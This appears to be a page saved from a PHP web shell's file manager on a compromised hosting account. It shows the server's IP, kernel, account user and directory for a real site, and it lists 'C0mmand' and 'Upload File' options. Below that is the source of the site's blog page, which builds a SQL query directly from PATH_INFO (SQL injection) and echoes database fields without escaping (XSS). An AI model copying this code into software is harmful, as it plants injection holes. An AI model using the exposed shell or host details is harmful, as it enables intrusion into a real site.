Server IP : 103.53.40.154 / Your IP : 13.58.201.240 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/rajwadahouse.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); $slug_name = $_GET['slug_link']; if(isset($_SERVER['PATH_INFO'])){ $slug_name=$_SERVER['PATH_INFO']; $querydt="SELECT * FROM `tbl_blog` WHERE `slug_link`='$slug_name'"; $rundt = mysqli_query($db,$querydt) or die("Query Not run"); $datadt = mysqli_fetch_assoc($rundt); } ?> <!doctype html> <html class="no-js" lang="zxx"> <head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title> <?php if (isset($datadt["meta_title"]) && !empty($datadt["meta_title"])) { echo $datadt["meta_title"]; } else { echo $datadt["title"]; } ?> </title> <meta name="description" content="<?php echo $datadt["meta_desc"];?>"> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <?php include "top-links.php";?> </head> <body> <div id="main-wrapper"> <?php include "header.php";?> <div class="page-banner-section section bg-image" data-bg="assets/images/bg/breadcrumb.jpg"> <div class="container"> <div class="row"> <div class="col"> <div class="page-banner text-center"> <h1><?php echo $datadt["title"];?></h1> <ul class="page-breadcrumb"> <li><a href="index.html">Home</a></li> <li><?php echo $datadt["title"];?></li> </ul> </div> </div> </div> </div> </div> <div class="blog-section section pt-100 pt-lg-80 pt-md-70 pt-sm-50 pt-xs-40"> <div class="container sb-border pb-80 pb-lg-60 pb-md-50 pb-sm-60 pb-xs-50"> <div class="row"> <div class="col-lg-3 order-lg-1 order-2"> <!-- Single Sidebar Start --> <div class="common-sidebar-widget"> <h3 class="sidebar-title">Recent posts</h3> <?php $sql = "SELECT * FROM tbl_blog ORDER BY `b_id` DESC"; $run = mysqli_query($db,$sql) or die("Query Not run"); $count=0; while($data = mysqli_fetch_assoc($run)){ if(mysqli_num_rows($run) > 0){ $count++; ?> <div class="sidebar-blog"> <a href="<?php echo $wspath?>blog<?php echo $data['slug_link'];?>.html" class="image"><img src="<?php echo $wspath?>admin/images/property-image/<?php echo $data['image'];?>" alt=""></a> <div class="content"> <h5><a href="<?php echo $wspath?>blog<?php echo $data['slug_link'];?>.html"><?php echo $data['title'];?></a></h5> <span><?php echo $data['date'];?></span> </div> </div> <?php }else{ echo "<h1>No Data Found</h1>"; } } ?> </div> <div class="common-sidebar-widget"> <h3 class="sidebar-title">Categories</h3> <ul class="sidebar-list"> <?php $sqlsubcat = "SELECT * FROM `tbl_tourspots` WHERE `spots_status`='Active' ORDER BY subcat_order_by ASC"; $runsubcat = mysqli_query($db,$sqlsubcat) or die("Query Not run"); while($datasubcat = mysqli_fetch_assoc($runsubcat)){ ?> <li><a href="<?php echo $wspath ?>category<?php echo $datasubcat['spots_url'];?>.html"><i class="ion-plus"></i><?php echo $data['title'];?> </a></li> <?php }?> </ul> </div> </div> <div class="col-lg-9 mb-sm-40 mb-xs-30"> <div class="blog_area"> <article class="blog_single blog-details"> <div class="post-thumbnail img-full"> <img src="<?php echo $wspath;?>admin/images/property-image/<?php echo $datadt['image'];?>" alt="<?php echo $datadt["title"];?>" title="<?php echo $datadt["title"];?>"> </div> <div class="postinfo-wrapper"> <div class="post-info"> <div class="entry-summary blog-post-description"> <p><?php echo $datadt['short_description'];?></p> <p><?php echo $datadt['description'];?></p> </div> </div> </div> </article> </div> </div> </div> </div> </div> <?php include "footer.php";?> </div> </body> </html>